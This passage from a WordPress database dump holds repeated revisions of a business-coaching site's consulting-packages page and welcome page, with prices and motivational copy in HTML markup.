1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 15:06:05', '2009-06-30 22:06:05', '', 138, 'http://www.whitehotcenter.com/138-revision-32/', 0, 'revision', '', 0);
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(338, 2, '2009-06-30 15:07:16', '2009-06-30 22:07:16', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2>1) you must do what matters to you\r\n2) what you do must matter to others</h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 15:07:16', '2009-06-30 22:07:16', '', 138, 'http://www.whitehotcenter.com/138-revision-33/', 0, 'revision', '', 0),
(339, 2, '2009-06-30 15:11:55', '2009-06-30 22:11:55', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2>1) you must do what matters to you\r\n2) what you do must matter to others</h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 15:11:55', '2009-06-30 22:11:55', '', 138, 'http://www.whitehotcenter.com/138-revision-34/', 0, 'revision', '', 0),
(340, 2, '2009-06-30 15:13:11', '2009-06-30 22:13:11', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2>1) you must do what matters to you\r\n2) what you do must matter to others</h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 15:13:11', '2009-06-30 22:13:11', '', 138, 'http://www.whitehotcenter.com/138-revision-35/', 0, 'revision', '', 0),
(341, 2, '2009-06-30 15:36:31', '2009-06-30 22:36:31', '', 'thomson dawson', 0, '', 'inherit', 'open', 'open', '', 'thomson', '', '', '2009-06-30 15:36:31', '2009-06-30 22:36:31', '', 172, 'http://www.whitehotcenter.com/wp-content/uploads/2009/05/thomson.gif', 0, 'attachment', 'image/gif', 0),
(342, 2, '2009-06-29 19:39:59', '2009-06-30 02:39:59', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is our heart''s desire burning bright and hot within us. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many corporate executives, creative entrepreneurs and professionals I work with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life. Just about everybody I have worked with has a desire to experience some level of mastery in these areas of business and in their life''s pursuits.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nFrom this experience, I am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. To contribute your greatness to the world, you must recognize you are the powerful creator of your reality.  It doesn''t matter what your current circumstances are now–you can change everything in your life for the better. You are surrounded at all times by unlimited possibility and potential.  As you think, so it is.  All life''s circumstances are the result of the source thinking behind them.\r\n\r\nI want to keep you inspired to create the business and life success you really want! Doing whatever it is that brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide a deeper level of guidance on strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-29 19:39:59', '2009-06-30 02:39:59', '', 172, 'http://www.whitehotcenter.com/172-revision-40/', 0, 'revision', '', 0),
(344, 2, '2009-06-30 18:37:14', '2009-07-01 01:37:14', '', 'thomson-bkg', 0, '', 'inherit', 'open', 'open', '', 'thomson-bkg', '', '', '2009-06-30 18:37:14', '2009-07-01 01:37:14', '', 172, 'http://www.whitehotcenter.com/wp-content/uploads/2009/05/thomson-bkg.gif', 0, 'attachment', 'image/gif', 0),
(343, 2, '2009-06-30 15:37:21', '2009-06-30 22:37:21', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="size-full wp-image-341 alignnone" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif" alt="thomson" width="450" height="313" /></a>\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is our heart''s desire burning bright and hot within us. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many corporate executives, creative entrepreneurs and professionals I work with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life. Just about everybody I have worked with has a desire to experience some level of mastery in these areas of business and in their life''s pursuits.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nFrom this experience, I am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. To contribute your greatness to the world, you must recognize you are the powerful creator of your reality.  It doesn''t matter what your current circumstances are now–you can change everything in your life for the better. You are surrounded at all times by unlimited possibility and potential.  As you think, so it is.  All life''s circumstances are the result of the source thinking behind them.\r\n\r\nI want to keep you inspired to create the business and life success you really want! Doing whatever it is that brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide a deeper level of guidance on strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-30 15:37:21', '2009-06-30 22:37:21', '', 172, 'http://www.whitehotcenter.com/172-revision-41/', 0, 'revision', '', 0),
